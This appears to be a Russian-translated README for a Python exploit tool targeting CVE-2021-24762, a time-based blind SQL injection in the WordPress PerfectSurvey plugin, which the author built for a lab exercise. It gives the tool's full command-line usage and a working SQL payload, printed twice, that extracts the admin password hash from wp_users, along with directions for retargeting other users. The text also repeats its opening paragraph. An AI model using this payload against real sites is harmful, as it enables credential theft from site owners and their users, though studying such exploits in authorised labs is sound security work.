
В этом репозитории показан эксплойт для CVE-2021-24762. Это эксплойт слепой SQL-инъекции (Blind SQLi), который при конфигурации по умолчанию извлекает пароль администратора.
Этот репозиторий содержит эксплойт для CVE-2021-24762. Это эксплойт Blind SQLi, который при стандартной конфигурации извлекает пароль администратора.
Выполняя лабораторную работу на базе Wordpress с плагином PerfectSurvey, я застрял на SQL-уязвимости. Единственный доступный PoC, который я нашёл, был основан на sqlmap и не работал должным образом в лаборатории, где я работал (было много дополнительных проблем, например, приложение возвращало 404, тайм-ауты слишком сильно варьировались и другие проблемы). Поэтому я создал этот инструмент, чтобы эксплуатировать уязвимость в лаборатории.
____ _ ___ ____
/ ___| / \ |_ _| / ___|
| | / _ \ | | \___ \
| |___ / ___ \ | | __ ) |
\____|/_/ \_\ |___| |____/
CAIS - Inteligência em Cibersegurança
Exploit for: CVE-2021-24762
usage: exploit_cve-2021-24762.py [-h] [-u URL] [-p PATH] [-d DELAY] [-t TIMEOUT] [-c CHARSET] [-m MAX_LEN] [-v]
Safe CLI wrapper — receives url/path/delay/timeout/charset and forwards it
options:
-h, --help show this help message and exit
-u, --url URL Base URL (default: http://192.168.10.10)
-p, --path PATH path (default: /wp-admin/admin-ajax.php)
-d, --delay DELAY delay in seconds (default: 30)
-t, --timeout TIMEOUT
timeout in seconds (default: delay + 15)
-c, --charset CHARSET
charset to be used (default: alnum + ./$_-@)
-m, --max-len MAX_LEN
maximum length (default: 20)
-v, --verbose activates log debugging
Python-скрипт принимает указанные выше параметры. Если они не переданы, скрипт выполняется со значениями по умолчанию.
В идеале нужно передать как минимум URL. Сделайте это с помощью -u или --url. Остальные параметры, скорее всего, будут работать со значениями по умолчанию.
При конфигурации по умолчанию он получает хэш пароля пользователя admin. Эта конфигурация применяется в переменной payload, в значении user_login:
payload = f"1 AND (SELECT COUNT(*) FROM (SELECT 1 WHERE ORD(SUBSTRING((SELECT user_pass FROM wp_users WHERE user_login=0x61646d696e),{position},1))={ascii_code} AND SLEEP({delay})) AS a)"
In case you need to find the hash for other user, change "0x61646d696e" (admin) according to your needs.
payload = f"1 AND (SELECT COUNT(*) FROM (SELECT 1 WHERE ORD(SUBSTRING((SELECT user_pass FROM wp_users WHERE user_login=0x61646d696e),{position},1))={ascii_code} AND SLEEP({delay})) AS a)"Ограниченное использование — Этот репозиторий содержит чувствительный контент, предназначенный только для этического и ответственного использования. Помните, что у вас должно быть письменное разрешение от владельца системы, которую вы тестируете. Любое использование вне этих рамок не допускается, и ответственность ляжет на вас (Хотите попасть в тюрьму?).
exploit_cve-2021-24762 — Эксплойт.README.ME — Этот файл.2025-10-10 — c4cnm — Creation and initial modifications
GNU General Public License v3 (GPL)